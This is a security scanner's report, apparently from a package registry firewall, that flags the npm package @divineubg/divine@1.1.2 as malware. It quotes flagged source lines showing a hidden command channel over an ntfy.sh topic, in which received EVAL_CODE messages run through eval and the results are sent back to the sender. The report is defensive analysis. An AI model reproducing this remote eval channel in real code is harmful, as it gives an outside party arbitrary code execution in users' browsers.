registry / Remote code execution / @divineubg/divine
@divineubg/divine
This report shows the evidence for @divineubg/divine@1.1.2. 3 of 3 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe code contains an automatic remote command channel whose EVAL_CODE action directly executes attacker-supplied JavaScript. The lack of an npm lifecycle hook does not mitigate this concrete runtime remote-code-execution behavior.
Static reason
One or more suspicious static signals were detected.
Trigger
Loading the included browser page starts the client; a remote ntfy message with EVAL_CODE activates arbitrary code execution.
Impact
A sender controlling the ntfy topic can execute arbitrary JavaScript in the page origin and return execution results to the sender.
Mechanism
Remote SSE commands reach eval and Function sinks.
Attack narrative
When the page creates a new local client identity, it calls listen and connects to an ntfy Server-Sent Events topic. A received message containing EVAL_CODE is passed directly to eval or new Function, then its result or error is posted back to ntfy. This is a remote command-and-control channel with arbitrary browser code execution. Separately, game metadata can point to remote assets that are transformed and written into a script-enabled iframe.
AI rationale
The code contains an automatic remote command channel whose EVAL_CODE action directly executes attacker-supplied JavaScript. The lack of an npm lifecycle hook does not mitigate this concrete runtime remote-code-execution behavior.
Evidence
index.jspackage.jsonindex.html
Network endpoints2
ntfy.shgcore.jsdelivr.net/gh/divineubg/dva/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- On first browser use, the package opens an ntfy command stream tied to a generated client ID.
- Messages requesting EVAL_CODE are executed with eval or Function, allowing the remote sender to run arbitrary browser JavaScript.
- The package also decodes remotely fetched game assets and writes the resulting code into a script-enabled iframe.
- The manifest exposes index.js as the entry point, and the browser page loads it automatically.
Evidence against
- package.json contains no preinstall, install, or postinstall hook.
- No Node child-process, filesystem harvesting, or environment-variable access appears in the inspected source.
Behavioral surface
EvalNetwork
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
6 flagged · loading sourceindex.jsView file
1const CDN_PATH = "https://gcore.jsdelivr.net/gh/divineubg/dva/"
L2: const JSON_URL = `${CDN_PATH}final.json`;
...
L5: let db = [];
L6: let ratings = JSON.parse(localStorage.getItem("g_ratings") || "{}");
L7: let totalReceived = 0;
...
L257: const redirectUrl = localStorage.getItem("g_cloak_redirect_url") || DEFAULT_REDIRECT_URL;
L258: window.location.replace(redirectUrl);
L259: } else {
...
L513: doc.open();
L514: doc.write(defaultStyle + eventPolyfill + codeHTML);
L515: doc.close();
...
L1117: if (data.method === "EVAL") {
Critical
Remote Response Code Execution
Source passes code obtained from a remote response into a dynamic execution sink.
index.jsView on unpkg · L11117if (data.method === "EVAL") {
L1118: outputValue = eval(`(function() { ${data.code} })()`);
L1119: } else {
High
1163let username = localStorage.getItem("g_live_username");
if (!username) {
username = Math.floor(1000000 + Math.random() * 9000000).toString();
localStorage.setItem("g_live_username", username);
const clientSession = listen(username);
}
High
Ai Review Evidence
On first browser use, the package opens an ntfy command stream tied to a generated client ID.
Findings
1 Critical5 High2 Medium4 Low
CriticalRemote Response Code Executionindex.js
HighEvalindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to @divineubg/divine@1.1.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing @divineubg/divine@1.1.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.